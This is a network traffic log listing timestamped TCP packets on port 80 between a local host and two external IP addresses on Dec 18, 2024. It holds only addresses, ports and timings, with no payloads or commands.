Dec 18, 2024 12:00:15.163088083 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.163100004 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.163130999 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.163130999 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.163151979 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.163223982 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.163234949 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.163247108 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.163258076 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.163274050 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.163274050 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.163295984 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.163703918 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.163746119 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.163868904 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.163881063 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.163922071 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.163922071 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.282810926 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.282850981 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.282874107 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.282924891 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.355300903 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.355487108 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.355510950 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.355581045 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.358112097 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.358160019 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.358838081 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.359031916 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.365915060 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.366138935 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.366941929 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.367012978 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.371499062 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.371603966 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.371645927 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.371645927 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.379666090 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.379827023 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.379868984 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.379868984 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.388041019 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.388161898 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.388263941 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.388361931 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.397274017 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.397289038 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.397367954 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.404987097 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.405106068 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.405154943 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.405221939 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.414155006 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.414326906 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.414345026 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.414426088 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.422306061 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.422321081 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.422422886 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.429342985 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.429356098 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.429615021 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.452716112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.452821016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:15.474996090 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.475009918 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.475052118 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.475075960 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.504033089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:15.504080057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:15.546473980 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.546549082 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.548695087 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.548818111 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.548830986 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.548840046 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.548883915 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.548883915 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.554052114 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.554152012 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.554152966 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.554234028 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.558455944 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.558470011 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.558517933 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.558537960 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.563797951 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.563915968 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.564378977 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.564568043 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.567965984 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.568021059 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.569122076 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.569284916 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.572719097 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.572777987 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.572803020 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.572829962 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.577627897 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.577676058 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.577680111 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.577781916 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.581953049 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.582117081 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.582202911 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.582293987 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.586661100 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.586673975 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.586756945 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.591414928 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.591453075 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.591499090 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.591499090 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.596014023 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.596029997 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.596071005 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.596157074 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.601716995 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.601861954 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.601993084 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.602042913 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.606333017 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.606427908 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.606436014 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.606515884 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.610200882 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.610301971 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.610338926 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.610351086 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.614352942 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.614435911 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.614584923 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.614768982 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.617741108 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.617851973 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.617940903 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.618004084 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.621026039 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.621090889 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.621139050 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.621181965 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.624425888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.624514103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.624567032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.624577999 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.624660969 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.624665976 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.624722958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.624732018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.624747992 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.624772072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.624782085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.624933004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:15.628401041 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.628685951 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.628757000 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.631134987 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.631275892 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.631275892 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.631340027 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.634771109 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.634848118 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.634896040 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.634947062 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.666362047 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.666456938 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.848054886 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.848162889 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.848465919 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.848556995 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.848989964 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.849071980 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.849463940 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.849678993 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.849704981 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.849750996 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.851322889 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.851394892 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.851399899 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.851608992 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.852991104 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.853111029 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.853135109 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.853288889 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.854671001 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.854803085 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.854898930 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.855024099 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.856682062 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.856827021 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.857317924 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.857470036 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.859457970 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.859508991 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.859529972 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.859643936 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.860732079 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.860824108 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.860857010 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.860928059 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.862332106 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.862389088 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.862436056 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.862477064 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.864260912 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.864291906 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.864319086 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.864404917 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.866148949 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.866235971 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.866313934 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.866420984 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.868168116 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.868246078 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.868637085 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.868851900 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.870014906 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.870110989 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.870192051 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.870289087 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.871855021 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.871920109 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.871921062 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.871975899 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.873910904 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.873961926 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.873980045 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.874033928 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.876430988 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.876482964 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.876559019 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.876616955 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.878387928 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.878432035 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.878477097 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.878545046 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.880410910 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.880423069 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.880481005 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.880481005 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.882075071 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.882107019 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.882136106 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.882188082 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.884135008 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.884186983 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.884246111 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.884246111 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.885641098 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.885694981 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.885781050 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.885915041 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.887149096 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.887203932 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.887211084 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.887305975 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.889027119 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.889111996 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.889126062 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.889240026 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.891182899 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.891237974 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.891392946 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.891582012 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.893073082 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.893085957 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.893126965 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.893157005 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.894826889 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.894839048 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.894896984 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.894939899 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.897047043 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.897104979 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.897289991 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.897716045 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.899027109 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.899039030 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.899104118 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.900516033 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.900593042 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.900603056 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.900789976 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.902580023 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.902594090 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.902652025 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.902715921 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.904306889 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.904382944 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.904385090 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.904684067 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.906261921 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.906320095 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.906568050 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.906735897 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.908185959 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.908246994 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.908436060 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.908571005 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:15.910299063 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.910311937 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:15.910366058 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.039764881 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.039855003 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.039927006 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.040098906 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.040659904 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.040721893 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.041153908 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.041240931 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.042431116 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.042615891 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.043133974 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.043248892 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.043298006 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.043298006 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.045001030 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.045074940 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.045420885 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.045475960 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.046875954 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.047043085 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.047609091 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.047705889 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.049037933 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.049072981 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.049104929 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.049148083 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.050700903 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.050924063 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.050998926 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.051146030 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.052829027 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.052978039 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.053297997 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.053364038 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.054596901 CET	80	49930	185.215.113.36	192.168.2.6
Dec 18, 2024 12:00:16.054683924 CET	49930	80	192.168.2.6	185.215.113.36
Dec 18, 2024 12:00:16.054858923 CET	80	49930	185.215.113.36	192.168.2.6
